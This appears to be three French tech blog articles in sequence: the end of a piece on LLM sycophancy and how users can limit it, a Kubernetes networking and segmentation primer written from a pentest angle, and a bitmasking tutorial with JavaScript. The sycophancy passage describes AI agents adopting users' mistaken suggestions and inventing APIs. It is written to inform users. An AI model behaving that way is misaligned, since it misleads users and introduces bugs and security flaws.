• le prompt système : si l'on demande par exemple au modèle d'éviter de frustrer l'utilisateur il aura tendance à facilement s'aligner avec le point de vue de ce dernier, même si ce n'était pas le but initial. Cet exemple est assez explicite mais des instructions beaucoup plus subtiles peuvent également avoir beaucoup d'influence sur les réponses générées,

• les prompts utilisateur / réponses précédentes : certains prompts sont plus sujets que d'autres à la sycophancy. De la même façon il peut être constaté que lorsqu'un modèle s'engouffre dans cette voie (en s'alignant une première fois avec l'utilisateur) il est en général difficile d'en sortir sans repartir de zéro.

En quoi cela m’impacte ?

Les LLMs étant entraînés pour générer des textes cohérents il peut être difficile de distinguer réponses factuelles et manifestation de sycophancy. Dans le cadre du développement d'applications une suggestion faite par l'utilisateur peut ainsi se retrouver adoptée par l'agent IA même si celle-ci est objectivement peu judicieuse. Cela peut aller d'un simple mauvais choix technique à l'introduction de bugs majeurs, voire de failles de sécurité.

Un autre impact indirect de la sycophancy est le renforcement des cas d'hallucinations, autre phénomène bien connu des LLMs pour lequel le modèle se basera sur des informations inventées de toutes pièces. Ici cela pourra par exemple se traduire par des appels à des APIs inexistantes ou avec de mauvais paramètres, l’agent préférant retourner une réponse incorrecte plutôt que refuser de suivre la demande initiale par manque d’information.

A noter également que la sycophancy est loin d’être un problème marginal, une étude de l’université de Stanford a par exemple montré qu’en moyenne 58% des réponses privilégieraient l’avis de l’utilisateur à un raisonnement indépendant ! Heureusement la sycophancy progressive est dans ce cas 3 fois plus représentée que la régressive.

Dans tous ces cas l'expertise de l'utilisateur - ou à défaut sa capacité à vérifier les faits - demeure essentielle.

Qu’est-ce que je peux faire ?

Il est tout d'abord nécessaire de comprendre qu'en tant qu'utilisateur il n'est pas possible d'entièrement maîtriser ce phénomène et que c'est tout d'abord un challenge qui se pose auprès des fournisseurs de modèles :

• à la fois sur le plan technique : les modèles étant de plus en plus complexes il est difficile de couvrir tous les cas d'utilisation possibles

• mais également sur le plan commercial : un modèle grand public qui aurait tendance à trop contredire l'utilisateur - même si cela est justifié - pourrait s'avérer peu attirant

OpenAI s'est par exemple heurté à des soucis de sycophancy lors de la sortie de GPT-4o qui s'est avéré être beaucoup trop flatteur vis-à-vis des utilisateurs, nécessitant un rollback du modèle et la publication de plusieurs articles d’explication (https://openai.com/index/sycophancy-in-gpt-4o/ et https://openai.com/index/expanding-on-sycophancy/).

D'autres, comme Anthropic, ont également publié des études sur les causes de la sycophancy dans les LLMs (https://www.anthropic.com/research/towards-understanding-sycophancy-in-language-models)

Il est cependant quand même possible d'être moins impacté en tant que simple utilisateur :

• Utiliser des modèles avec raisonnement : Ceux-ci, probablement grâce aux étapes supplémentaires de réflexion interne, semblent en effet moins impactés que leurs équivalents classiques

• Certains prompts sont plus sujets que d'autres à la sycophancy et doivent être évités :

  • Ceux avec des réfutations anticipées, par exemple :

    • “J'ai entendu dire qu'il était déconseillé d'appliquer la méthode X dans ce genre de cas”

    • “Il me semble que les modifications en cours ne respectent pas les bonnes pratiques, qu'est-ce que tu en penses ?"

  • Ceux qui comportent des contradictions/challenges suite à une réponse du modèle, par exemple :

    • “Est-ce qu'il ne serait pas plutôt préférable d'appliquer la méthode X ?”

• D'autres prompts, notamment ceux posant des questions ouvertes et non fermées, y sont au contraire moins sujets et par conséquent recommandés :

  • Être explicite sur ce que l'on souhaite que le modèle fasse, par exemple :

    • “Donne-moi ton avis sur l'utilisation de la méthode X dans cette situation”

    • “Effectue une revue exhaustive des modifications en cours”

  • Demander des comparaisons plutôt qu'une confirmation, par exemple :

    • “Donne-moi un comparatif détaillé des méthodes X et Y"

    • “Compare l'implémentation actuelle avec une utilisation du composant X

En conclusion : gardez un esprit critique. La complaisance d'un agent IA ne signifie pas forcément qu'il se trompe, mais doit agir comme un signal d'alerte et être considérée comme une invitation au fact-checking.

Références

How Sycophancy Shapes the Reliability of Large Language Models : https://c3.unu.edu/blog/how-sycophancy-shapes-the-reliability-of-large-language-models

Sycophancy in Large Language Models: Causes and Mitigations : https://arxiv.org/html/2411.15287v1

Reasoning Isn’t Enough: Examining Truth-Bias and Sycophancy in LLMs : https://arxiv.org/html/2506.21561v1

Anthropic: Towards Understanding Sycophancy in Language Models : https://www.anthropic.com/research/towards-understanding-sycophancy-in-language-models

OpenAI: Sycophancy in GPT-4o: what happened and what we’re doing about it : https://openai.com/index/sycophancy-in-gpt-4o/

OpenAI: Expanding on what we missed with sycophancy : https://openai.com/index/expanding-on-sycophancy/

Dans cette seconde partie, nous allons approfondir le cloisonnement dans un cluster Kubernetes, à la fois réseau et logique. Nous verrons comment un cluster est exposé, les grands types de réseaux impliqués et les mécanismes de séparation possibles côté réseau, puis nous aborderons le cloisonnement logique au moyen des namespaces.

Types de réseaux

Quand on découvre Kubernetes, la partie réseau fait souvent un peu peur : on entend parler de CNI, de Services, d’Ingress, de NodePort, de LoadBalancer, etc.

En réalité, le réseau Kubernetes repose sur quelques concepts simples qui se combinent entre eux. L’objectif de cette section est ainsi de donner une vision simple pour comprendre “qui parle à qui” dans un cluster Kubernetes.

Au sein d’un cluster, il existe 3 principaux réseaux :

• Réseau des nodes : correspond au réseau “classique” de l’infrastructure (machines physiques, VM, nœuds cloud). C’est grâce à lui que les nœuds du cluster peuvent parler entre eux et avec Internet.

• Réseau des pods : est le réseau interne au cluster dans lequel chaque pod reçoit sa propre adresse IP. Tous les pods peuvent communiquer directement entre eux, comme s’ils étaient sur un même grand réseau local. Ce réseau, géré par le plugin CNI présent sur chaque nœud, permet à des pods d’un nœud de communiquer avec des pods d’un autre nœud comme s’ils étaient tous sur un réseau plat.

• Réseau des services (réseau virtuel) : lui, est particulier. Les adresses IP de Service (ClusterIP) ne sont pas associées à une carte réseau physique, elles servent simplement de point d’entrée stable pour accéder à un ensemble de pods. Quand un pod en appelle un autre via l’IP d’un service, le trafic est automatiquement redirigé vers l’une des instances réelles (les pods) situées sur le réseau des pods.

L’ensemble de ces réseaux travaille ensemble pour permettre aux applications de communiquer, aussi bien à l’intérieur du cluster qu’avec l’extérieur.

Réseau des nodes

Dans l’article précédent, nous avons parlé des nodes : ces machines (physiques ou virtuelles) qui composent le cluster et sur lesquelles tournent les pods. Chaque node étant une machine, il est forcément connecté à un réseau d’infrastructure : LAN d’entreprise, VPC cloud, réseau du datacenter, etc.

Ce réseau sous-jacent, c’est ce qu’on appelle ici le réseau des nodes. Kubernetes ne le crée pas : il l’utilise tel quel.

Ce réseau des nodes sert notamment à :

• permettre aux nodes de communiquer entre eux (échanges internes au cluster)

• transporter le trafic entre les nodes et le plan de contrôle (communication des kubelets avec l’API du cluster)

• offrir une sortie vers l’extérieur pour le cluster (accès Internet, API externes, systèmes d’information existants)

• servir de support à l’exposition de certains Services vers l’extérieur, par exemple les Services de type NodePort ou LoadBalancer, que l’on détaillera dans la suite de l’article.

En résumé, les nodes dont on a déjà parlé disposent de leur propre réseau d’infrastructure. Ce réseau des nodes constitue le socle sur lequel Kubernetes vient ensuite poser le réseau des pods et le réseau (virtuel) des services.

Réseau des pods

Une fois posé le réseau des nodes, Kubernetes ajoute une deuxième couche : le réseau des pods.
C’est le réseau interne du cluster, là où vivent réellement les applications.

Chaque pod reçoit sa propre adresse IP, issue d’un espace d’adressage dédié au cluster. L’un des principes de base du modèle réseau Kubernetes, c’est que tous les pods doivent pouvoir communiquer directement entre eux, sans NAT, qu’ils soient sur le même node ou sur des nodes différents. Vu depuis un pod, l’ensemble du cluster ressemble donc à un grand réseau plat (👀).

Mais comment ça marche concrètement ?

Concrètement, les pods ne touchent pas directement au matériel. Chaque pod dispose d'une interface réseau virtuelle avec sa propre IP, qui agit comme un tunnel vers la carte réseau physique du node. Cette mécanique est ainsi mise en place par le plugin CNI (Calico, Cilium, Flannel, etc.) installé sur chaque node.

Que le destinataire soit sur la même machine ou à l'autre bout du cluster, le trafic est automatiquement encapsulé et redirigé par le plugin CNI pour circuler de façon transparente sur le réseau des nodes.

Plugin Container Network Interface (CNI)

Le CNI attribue une IP à chaque pod, crée les interfaces virtuelles, configure les bridges, pose les routes (et éventuellement les tunnels) pour que le trafic pod↔pod fonctionne et donne l’illusion, vue depuis les pods, d’un grand réseau plat à l’échelle du cluster.

Il en existe plusieurs implémentations (Calico, Cilium, Flannel, Weave Net, etc.), chacune avec ses choix techniques, ses capacités de sécurité et ses intégrations préférées selon les distributions Kubernetes (k3s, EKS, GKE, clusters on-premise, …). Voici un exemple de plusieurs CNI :

Ce tableau est volontairement simplifié et centré sur la sécurité. Dans la pratique, le choix d’un CNI dépend aussi des performances, des fonctionnalités avancées, du support par la distribution Kubernetes utilisée et de la culture de l’équipe en charge de l’implémentation.

Réseau des services

Après le réseau des nodes (infrastructure) et le réseau des pods (là où vivent les applications), Kubernetes ajoute une troisième couche : le réseau des services. Celui-ci est entièrement virtuel.

Ce réseau vise à résoudre un problème simple : les pods vont et viennent, changent de node, se recréent… mais on veut une adresse stable pour accéder à une application. Et, très souvent, cette application n’est pas portée par un seul pod mais par plusieurs pods (replicas) d’un même composant. Passer par un Service permet alors deux choses essentielles :

• disposer d’un point d’entrée unique pour l’application,

• laisser le cluster choisir automatiquement vers quel pod envoyer la requête, parmi tous ceux qui proposent le même service.

C’est précisément ces besoins que vient résoudre le réseau des services. Techniquement, cela est rendu possible par kube-proxy, qui tourne sur chaque node.

Ainsi, pour faire le lien avec le précédent article, quand on déploie une application avec un “Deployment”, on obtient un ensemble de pods identiques (réplicas). Ces pods ont chacun leur propre IP sur le réseau des pods, et ces IP peuvent changer au fil des redéploiements.

Pour donner un point d’entrée stable vers ces pods, on crée en général un objet Kubernetes « Service » associé. Cet objet :

• sélectionne les pods concernés

• reçoit une IP virtuelle de service (ClusterIP), tirée d’un espace d’adressage réservé au réseau des services

• expose un ou plusieurs ports sur cette IP.

Les autres pods (ou un Ingress, ou un client interne) n’ont alors plus besoin de connaître les IP individuelles des pods : ils utilisent l’IP (ou le nom DNS) du Service, et le cluster se charge de rediriger le trafic vers un des pods disponibles. Au sein du cluster, c’est le service « CoreDNS » qui est en charge de cette résolution (<service>.<namespace>.svc.cluster.local).

Exemple :

Imaginons une application web simple :

• un objet Kubernetes « Deployment » se nommant « frontend » qui lance 3 pods d’un site web

• un objet Kubernetes “Service” frontend associé.

Sans Service, on aurait par exemple :

• Pod A : 10.244.1.5

• Pod B : 10.244.2.7

• Pod C : 10.244.3.9

Chaque pod possède sa propre adresse IP sur le réseau des pods, et ces IP peuvent changer à chaque redéploiement ou recréation de pod. Il serait très compliqué de suivre en permanence cette liste d’IP et de faire soi-même la répartition du trafic.

Avec un Service, le fonctionnement change :

• Kubernetes crée un objet Kubernetes “Service” nommé frontend

• l’objet reçoit une ClusterIP (nous y reviendrons plus tard dans l’article), par exemple 10.96.5.12

• il est configuré pour pointer vers tous les pods correspondant au site web

À partir de là :

• les autres pods du cluster peuvent joindre l’application via le nom DNS du Service, par exemple http://frontend ou http://frontend.default.svc

• de façon plus bas niveau, la même application est accessible via 10.96.5.12:80 (ClusterIP et port du Service)

Ainsi, kube-proxy se charge de distribuer le trafic reçu sur cette ClusterIP vers l’un des pods frontend disponibles (A, B ou C), de manière transparente.

TL;DR - En résumé

Le réseau Kubernetes repose sur trois couches qui se complètent : le réseau des nodes, le réseau des pods et le réseau des services. Le réseau des nodes, c’est simplement le réseau d’infrastructure existant (LAN, VPC, datacenter) sur lequel Kubernetes vient se poser. Par-dessus, le réseau des pods fournit à chaque pod sa propre adresse IP et, grâce au plugin CNI, fait en sorte que tous les pods puissent communiquer entre eux comme s’ils étaient sur un grand réseau plat, même lorsqu’ils sont sur des machines différentes.

Enfin, le réseau des services est une couche entièrement virtuelle qui apporte des points d’entrée stables vers les applications. Plutôt que d’adresser directement des pods dont les IP changent, on s’appuie sur des objets Kubernetes “Service” qui reçoivent une IP virtuelle (ClusterIP) et un nom DNS. Les autres composants du cluster parlent au Service, et kube-proxy se charge de rediriger de façon transparente le trafic vers l’un des pods disponibles, ce qui permet à la fois la stabilité (une même adresse pour l’application) et la répartition de charge entre plusieurs réplicas.

Exposition réseau

Disposer d’un réseau interne avec des IP stables, c’est une chose. Mais une application qui ne communique qu’avec elle-même n'est pas très utile. Le vrai défi est là : les adresses des services sont privées et invisibles depuis l'extérieur.

Pour qu'un utilisateur puisse accéder à un service au sein d’un cluster Kubernetes, il faut donc créer un "pont" entre le monde extérieur (Internet ou le réseau de votre entreprise) et ce réseau interne. Kubernetes propose plusieurs solutions pour ouvrir ces portes, selon le degré d'exposition souhaité.

Exposition interne

ClusterIP

Le type ClusterIP est le mode d’exposition le plus basique et le plus courant. Le Service reçoit une adresse IP virtuelle (ClusterIP) dans le réseau des services (comme présenté précédemment), mais cette IP n’est accessible que depuis l’intérieur du cluster : pods, nœuds, éventuellement Ingress ou autres composants internes.

Ce type de Service est typiquement utilisé pour relier des briques applicatives entre elles : un frontend qui parle à un backend, un backend qui parle à une base de données, un job qui appelle une API interne, etc. Du point de vue des pods, on se contente d’appeler le nom DNS du Service (par exemple http://backend), et kube-proxy se charge d’acheminer le trafic vers l’un des pods qui implémente ce service.

Flux entrant

Une fois que l’on dispose du réseau des services (avec ses IP virtuelles stables qui pointent vers des pods), se pose une question très concrète : comment ces services sont-ils accessibles ?
Kubernetes propose plusieurs manières d’exposer une application vers l’extérieur :

On peut les voir comme différents niveaux d’ouverture :

• Headless : résolution directe vers les pods ;

• NodePort : exposition via les nodes ;

• LoadBalancer : exposition via un load balancer externe ;

• Ingress / Gateway API : exposition HTTP(S) plus avancée.

Headless

Dans certaines architectures (bases de données distribuées, systèmes stateful, brokers, etc.), on veut non pas cacher les pods derrière une IP virtuelle, mais au contraire les voir individuellement.

C’est là qu’intervient le Service Headless. Dans ce mode, Kubernetes ne crée pas de ClusterIP. À la place, l’entrée DNS du Service renvoie directement les IP des pods qui correspondent à ce service (les endpoints). Les clients peuvent ainsi établir une connexion directe vers un pod particulier, ou parcourir la liste des pods pour appliquer leur propre logique de répartition ou de découverte (par exemple, découvrir les nœuds d’un cluster de base de données).

NodePort

Dès que l’on souhaite qu’un service soit accessible depuis l’extérieur du cluster, le réseau des nodes entre en jeu. Le type NodePort consiste à ouvrir un port spécifique sur chaque nœud du cluster (et donc des machines), dans une plage réservée (par défaut entre 30000 et 32767).

Client externe → IP d’un node + port NodePort → Service → Pods

Le Service reste le même à l’intérieur du cluster, mais il est désormais atteignable en utilisant l’adresse IP d’un node et ce port NodePort. C’est une solution simple, qui ne nécessite pas de composant externe supplémentaire, mais qui repose sur le fait de connaître les IP des nodes.

LoadBalancer

Dans la plupart des environnements cloud, on ne veut pas gérer à la main la liste des IP des nodes.
Le type LoadBalancer vient alors s’appuyer sur NodePort, mais en demandant à la plateforme d’infrastructure de créer un load balancer externe (par exemple un ELB/NLB sur AWS, un Load Balancer GCP/Azure, etc.). Le flux devient ainsi

Client Internet → Load Balancer externe → NodePort sur les nodes → Service → Pods

Pour le client, il n’y a qu’une seule IP (ou un nom DNS) à contacter : celle du load balancer.
Pour Kubernetes, il s’agit toujours de router le trafic vers le Service, puis vers les pods. Le réseau des nodes sert d’interface entre le load balancer externe et le cluster.

Ingress / Gateway API

Enfin, pour les applications web, on ajoute souvent une couche supplémentaire : Ingress ou la Gateway API. Plutôt que d’exposer directement un Service sur une IP et un port, on définit des règles de routage HTTP(S) : nom de domaine, chemins, TLS, routage vers différents backends, etc.

Dans ce modèle, un contrôleur Ingress ou Gateway tourne dans le cluster, souvent exposé lui-même via un Service de type LoadBalancer ou NodePort. Le flux ressemble alors à :

Client Internet → Load Balancer / IP publique → Ingress / Gateway → Service → Pods

Exemple :

Pour une application web, on veut souvent exposer un nom comme “https://www.nijiapp.fr” plutôt qu’une IP et un port. Alors, dans dans le cluster, on décrit une règle du type “pour l’hote https://www.nijiapp.fr, envoie le trafic vers le Service frontend”.

L’Ingress Controller lit cette règle et sait que tout ce qui arrive pour “https://www.nijiapp.fr” doit être routé vers le Service correspondant. De l’autre côté, dans le DNS public, on fait simplement pointer “www.nijiapp.fr” vers l’IP exposée par ce contrôleur (souvent un Service de type LoadBalancer).

Flux sortant (egress)

Les pods ne restent pas isolés : ils ont souvent besoin de sortir du cluster, par exemple pour interroger une API externe ou récupérer une image sur un registre Docker.

Par défaut, Kubernetes est très libre : n’importe quel pod peut initier une connexion vers l’extérieur. Le seul bémol est la visibilité. Une fois que le flux sort, il est "anonymisé" par le node : le monde extérieur voit l'adresse du cluster, mais il est impossible de savoir quel pod précis est en train de parler. C'est une porte ouverte par défaut qu'il faut parfois apprendre à encadrer.

Aspect sécurité

Toutes ces mécaniques d’exposition ne sont pas neutres du point de vue sécurité : elles définissent par où un attaquant peut espérer atteindre des services.

Dès qu’un Service sort du simple ClusterIP interne, il crée une surface attaquable supplémentaire. Un Service de type NodePort, par exemple, implique qu’un port est ouvert sur chaque nœud dans la plage 30000–32767. Si les adresses IP des nœuds sont accessibles (depuis Internet ou depuis un réseau interne moins maîtrisé), il devient possible de scanner ces ports et d’énumérer les services exposés de cette manière, sans forcément passer par un load balancer “officiel”. De la même façon, un LoadBalancer mal filtré ou un Ingress qui accepte trop de hosts ou de chemins facilite l’énumération des endpoints applicatifs depuis l’extérieur.

Côté sortie, le fait que tout pod puisse parler librement vers l’extérieur par défaut permet, en cas de compromission d’un conteneur, de contacter une infrastructure de commande et contrôle, de scanner des ressources internes accessibles via le réseau du cluster, ou de cibler des services cloud sensibles (comme l’IMDS).

Comprendre les chemins d’entrée et de sortie n’est donc pas seulement utile pour faire fonctionner l’application : c’est aussi la base pour raisonner en termes d’exposition, d’énumération possible et de mouvements latéraux potentiels.

Cloisonnement

Le chapitre précédent décrit comment le réseau Kubernetes permet aux applications de communiquer, et comment les services peuvent être exposés ou sortir vers l’extérieur. Pris isolément, ce modèle est très fonctionnel… mais il est aussi très ouvert.

La question suivante devient donc : comment découper et limiter cet espace, de manière à éviter qu’une application, un environnement ou un composant compromis puissent trop facilement en atteindre d’autres. Kubernetes propose plusieurs leviers pour cela. Certains relèvent du cloisonnement logique (organisation des ressources, séparation des environnements, contrôle des droits), d’autres du cloisonnement réseau au sens strict (quels flux sont possibles entre quels pods).

Cloisonnement logique - Namespace

Un namespace est une “boîte logique” dans laquelle on range des objets Kubernetes : pods, services, configmaps, secrets, roles, etc.

Ce cloisonnement est avant tout organisationnel et logique :

• il permet de séparer des environnements (par exemple dev, preprod, prod) ;

• il permet de séparer des applications ou des équipes (par exemple paiement, marketing, data) ;

• il sert de base à d’autres mécanismes comme RBAC (droits par namespace) ou les quotas (limites de ressources par namespace).

⚠️ Attention : Un namespace ne fournit pas, en soi, une isolation réseau. Par défaut, un pod dans un namespace peut tout à fait parler à un pod dans un autre namespace. Rien, au niveau réseau, n’empêche un flux d’un namespace vers un autre. Pour obtenir un vrai cloisonnement de trafic entre namespaces, il faut ajouter une couche de politiques réseau (NetworkPolicies) et s’assurer que le CNI les applique correctement.

On peut voir les namespaces comme un cadre logique : ils organisent les objets, structurent qui a le droit de faire quoi, et servent souvent de frontière “administrative”.

Dans le cadre d’un audit ou d’un pentest Kubernetes, il est fréquent d’obtenir l’accès à un compte n’ayant des privilèges que sur un namespace donné. Le enjeu pour l’auditeur devient alors de voir s’il est possible de sortir de ce périmètre logique et d’influencer, directement ou indirectement, des objets situés dans d’autres namespaces auxquels ce compte n’aurait pas dû avoir accès au départ.

Cloisonnement réseau

Jusqu’ici, le réseau Kubernetes a été présenté comme un grand espace où les pods peuvent tous se parler. C’est pratique pour démarrer, mais dès qu’on parle sécurité, cette caractéristique devient un problème : par défaut, le cluster est très ouvert. Un pod peut contacter n’importe quel autre pod, dans n’importe quel namespace (notion que , et sortir vers l’extérieur tant que le réseau sous-jacent le permet. Kubernetes ne met pas en place de cloisonnement réseau automatique entre applications. C’est pour pallier à ce problème qu’existent les objets Kubernetes “NetworkPolicies**”**, qui permettent de décrire explicitement quels flux sont autorisés, et donc de refermer progressivement ce grand espace ouvert.

Network Policies

Une NetworkPolicy est un objet Kubernetes qui décrit, pour un ensemble de pods donné, quel trafic réseau est autorisé à entrer (ingress) et/ou à sortir (egress). On peut la voir comme un pare-feu “logique”. Concrètement, une NetworkPolicy ne s’applique pas à tout le cluster, mais à un groupe de pods ciblés.

Un point souvent mal compris est que les NetworkPolicies fonctionnent de manière restrictive. Tant qu’aucune NetworkPolicy ne cible un pod, ce pod reste dans le modèle ouvert : il peut parler à tout le monde. En revanche, dès qu’au moins une NetworkPolicy s’applique à lui, tout ce qui n’est pas explicitement autorisé par au moins une règle est, en pratique, bloqué (à condition que le CNI supporte les NetworkPolicies, ce qui n’est pas le cas de tous comme on l’a vu plus haut).

Exemple d’utilisation :

• autoriser un frontend à parler à un backend mais pas directement à la base de données

• empêcher un namespace “dev” de joindre un namespace “prod”

• limiter la sortie vers Internet à quelques services externes bien identifiés.

Vu sous l’angle d’un auditeur ou d’un attaquant, la présence ou l’absence de NetworkPolicies fait une énorme différence : sans elles, un pod compromis peut très facilement explorer le cluster et tenter de joindre n’importe quel autre service. Avec des NetworkPolicies, ses mouvements latéraux sont beaucoup plus contraints et dépendent des flux explicitement prévus par les règles.

Exemple analogique simple

On peut voir un cluster Kubernetes comme un immeuble de bureaux :

• Les namespaces, ce sont les départements (Marketing, Finance, IT).

• Les objets Kubernetes (Pods, Services, Secrets, ConfigMaps, etc.) sont les dossiers, applis et coffres de chaque département.

• Les ServiceAccounts / droits RBAC, ce sont les badges qui permettent d’agir sur ces dossiers et coffres.

• Le réseau, ce sont les couloirs qui relient toutes les pièces.

• Les NetworkPolicies, ce sont les portes et tourniquets dans ces couloirs.

Si les couloirs sont totalement ouverts (pas de NetworkPolicies), n’importe qui peut sortir de son bureau, se balader dans l’immeuble et entrer dans d’autres pièces. On n’ouvre pas directement tous les coffres d’un autre département, mais on peut atteindre des postes, des applis internes ou des armoires où traînent des badges. Une fois un badge trouvé, ce n’est plus le réseau qui limite, mais le cloisonnement logique (namespaces + RBAC) : ce badge peut alors permettre d’agir sur les objets d’un autre département.

Conclusion

Dans cet article, le cluster Kubernetes a été présenté sous l’angle du réseau et du cloisonnement : réseaux des nœuds, des pods et des services, chemins d’entrée et de sortie, exposition des applications, namespaces, NetworkPolicies et leurs impacts en matière d’attaque et de défense. L’objectif était de construire un modèle mental simple pour comprendre “qui peut parler à qui”, par où une application peut être atteinte, et comment un manque de cloisonnement logique ou réseau peut ouvrir la porte à des mouvements latéraux.

Dans la suite de cette série, le point de vue sera plus frontalement orienté pentest. À partir de ces bases, il sera alors possible de dérouler une véritable roadmap de reconnaissance et d’attaque sur un cluster Kubernetes : cartographier les surfaces d’exposition, identifier les chemins réseau intéressants, abuser des configurations faibles, chercher des escalades de privilèges entre namespaces et, plus globalement, comprendre comment une compromission locale peut se transformer en prise de contrôle beaucoup plus large du cluster.

1. L'énigme du serveur de pizza

Imaginez que vous êtes serveur dans une pizzeria bondée. Un client commande une pizza personnalisée. Au lieu de vous lister les ingrédients un par un ("Je veux des olives, du fromage, mais pas d'anchois..."), il vous tend un petit ticket avec un seul chiffre écrit dessus : 21.

Grâce à ce seul chiffre, vous savez instantanément qu'il veut des olives, du fromage et des oignons.

Comment est-ce possible ? Chaque ingrédient de la cuisine possède une valeur unique qui double à chaque fois : l'Olive vaut 1, le Fromage vaut 4 et l'Oignon vaut 16. En lui donnant le nombre 21 (1 + 4 + 16), le client a créé une combinaison unique que seul ce mélange peut produire.

C'est là tout le secret du Bitmasking : compacter une liste de choix multiples en un seul nombre entier. Pas de listes à rallonge, pas de cases à cocher, juste un chiffre qui contient toute l'information.

2. Pourquoi nos méthodes classiques saturent ?

Dès qu'on doit stocker des choix multiples (ex: "Quels jours ce magasin est-il ouvert ?"), on tombe dans trois pièges :

• L'étalage : Créer une colonne par jour (is_monday, is_tuesday...). C'est lourd, rigide, et votre table devient illisible dès que vous avez plus de 10 options.

• La toile d'araignée : Créer des tables de liaison complexes. Pour chaque vérification, vous devez faire une jointure (JOIN), ce qui consomme énormément de CPU et de mémoire RAM lors des grosses montées en charge.

• Le "poids lourd" JSON : Stocker un tableau ["Lundi", "Mardi"] dans un champ JSON.

  • Le problème : C'est extrêmement gourmand en espace (chaque lettre pèse 1 octet).

  • L'impact : Pour filtrer, la base de données doit souvent "parser" (lire et interpréter) le texte de chaque ligne, ce qui rend vos index volumineux et vos recherches beaucoup plus lentes qu'un simple calcul mathématique.

3. L'escalier des puissances : Pourquoi 1, 2, 4, 8... ?

Le secret du Bitmask, c'est que l'ordinateur lit les nombres de droite à gauche, comme s'il montait un escalier où chaque marche est deux fois plus grande que la précédente.

Imaginez une rangée de boîtes :

• La boîte tout à droite (Bit Faible) vaut 1 (2^0).

• Chaque boîte à sa gauche est un "doublé" de la précédente : 2, 4, 8, 16, 32...

C'est ce qui rend le système infaillible : comme chaque marche est plus haute que la somme de toutes les marches inférieures, il n'y a qu'un seul chemin binaire possible pour atteindre un nombre.

4. La théorie des interrupteurs

Le Bitmask repose sur cette logique : chaque option est un interrupteur.

Si vous allumez Lundi (1), Mercredi (4) et Vendredi (16), vous obtenez 21.

5. Le Défi du "Super-Admin"

Vous gérez une plateforme SaaS. Les droits d'un utilisateur sont résumés par un seul nombre. Voici la grille des pouvoirs :

• 1 : Lecture | 2 : Écriture | 4 : Suppression | 8 : Gestion Membres

• 16 : Facturation | 32 : API Développeur | 64 : Support

L'énigme : Un utilisateur a le score de 51. Quels sont ses pouvoirs ?

La solution : On décompose par les plus grandes puissances possibles :

1. 51 contient 32 (API). Reste 19.

2. 19 contient 16 (Facturation). Reste 3.

3. 3 contient 2 (Écriture). Reste 1.

4. 1 contient 1 (Lecture).

Résultat : Cet utilisateur possède exactement 4 droits : API Développeur, Facturation, Écriture et Lecture.

(Notez qu'il n'a ni le droit de Suppression (4), ni la Gestion des Membres (8), ni le Support (64) car ces chiffres ne "rentrent" pas dans le calcul).

6. Le saviez-vous ? Le secret du chmod

Le fameux droit Linux chmod 777 ?

• 4 (Lecture) + 2 (Écriture) + 1 (Exécution) = 7. C'est le bitmask le plus célèbre au monde, utilisé sur presque tous les serveurs de la planète.

7 La Forge : Transformer la Théorie en Code

1. La Représentation Mémoire

En informatique, un entier de type int en Java occupe 32 bits (4 octets). Ce n'est pas juste un nombre, c'est un tableau de 32 cases (bits) que l'on peut manipuler individuellement.

Chaque position correspond à une puissance de 2, de droite à gauche :

2^{31} ... 2^5, 2^4, 2^3, 2^2, 2^1, 2^0

2. Les 4 Opérations Fondamentales (La logique bit-à-bit)

En tant qu'ingénieur, vous utilisez des opérateurs binaires. C'est ce qui rend le Bitmask plus rapide que n'importe quelle autre méthode : ces opérations sont traitées directement par l'Unité Arithmétique et Logique (ALU) du processeur en un seul cycle d'horloge.

3. Exemple Concret en JavaScript : Système de Permissions

Voici comment implémenter un système de permissions performant et thread-safe.

/**
 * Gestionnaire de permissions basé sur les masques binaires (Bitmask).
 * * ⚠️ LIMITATION TECHNIQUE IMPORTANTE :
 * En JavaScript, les opérateurs bitwise (| & <<) traitent les nombres comme des
 * entiers signés de 32 bits. 
 * - Capacité maximale : 31 permissions (Bits 0 à 30).
 * - Le 32ème bit (1 << 31) est le bit de signe (rend le nombre négatif).
 * - Le 33ème bit (1 << 32) provoque un dépassement et revient au bit 0.
 * * Si vous avez besoin de >31 permissions, migrez vers BigInt.
 */
class PermissionManager {
    // 1. Définition des flags en 'static readonly' (par convention)
    static READ    = 1 << 0; // 1
    static WRITE   = 1 << 1; // 2
    static DELETE  = 1 << 2; // 4
    static ADMIN   = 1 << 3; // 8
    // 2. Champ privé (#) : Impossible d'y accéder ou de le modifier depuis l'extérieur
    #userMask = 0;
    constructor(initialPermissions = 0) {
        this.#userMask = initialPermissions;
    }

    // Ajouter des permissions
    grant(permissions) {
        this.#userMask |= permissions;
        return this; // Permet le chainage
    }

    // Vérifier si TOUTES les permissions demandées sont présentes
    can(permissions) {
        return (this.#userMask & permissions) === permissions;
    }

    // Vérifier si AU MOINS UNE des permissions demandées est présente
    canAny(permissions) {
        return (this.#userMask & permissions) !== 0;
    }

    // Retirer une permission
    revoke(permissions) {
        this.#userMask &= ~permissions;
        return this;
    }

    // Debug : Retourne la liste des noms de permissions actives
    list() {
        const names = [];
        for (const [key, value] of Object.entries(PermissionManager)) {
            if (this.can(value)) names.push(key);
        }
        return names;
    }
    // Getter pour le masque (lecture seule)
    get mask() {
        return this.#userMask;
    }

}

// --- Utilisation ---
const user = new PermissionManager();

// Ajout des permissions avec chaînage possible
user.grant(PermissionManager.READ | PermissionManager.WRITE)
    .grant(PermissionManager.DELETE);
console.log("Permissions actuelles :", user.list()); // ["READ", "WRITE", "DELETE"]

// Vérification des permissions 
if (user.can(PermissionManager.READ | PermissionManager.WRITE)) {
    console.log("✅ Peut lire ET écrire");
}

// Retirer une permission
user.revoke(PermissionManager.WRITE);
console.log("Après retrait WRITE :", user.list()); // ["READ", "DELETE"]

// Tentative de fraude :
user.userMask = 999; // Ne fonctionne pas car #userMask est privé
console.log(user.mask); // Affiche toujours la valeur réelle

4. Pourquoi c'est le "Graal" de l'optimisation ?

1. Cache Locality : Un int tient dans le cache L1 du processeur. Comparé à une ArrayList<String> ou une table de jointure SQL qui nécessite des accès RAM coûteux, le Bitmask est instantané.

2. Compactage : Vous pouvez stocker 32 réglages "Oui/Non" dans l'espace d'un seul chiffre. Pour une base de données de 100 millions de lignes, l'économie de stockage se compte en Gigaoctets.

3. Filtrage Spatial : En SQL, l'indexation binaire permet de trouver des profils multi-critères (ex: "Tous les Admins qui ont aussi le droit Delete") sans jamais scanner toute la table.

8. Le verdict : Faut-il l'utiliser ?

Pour les cas où la logique s'y prête un seul nombre bien choisi peut piloter efficacement et élégamment une partie de votre logique, vous faisant l'économie d'une complexité inutile.

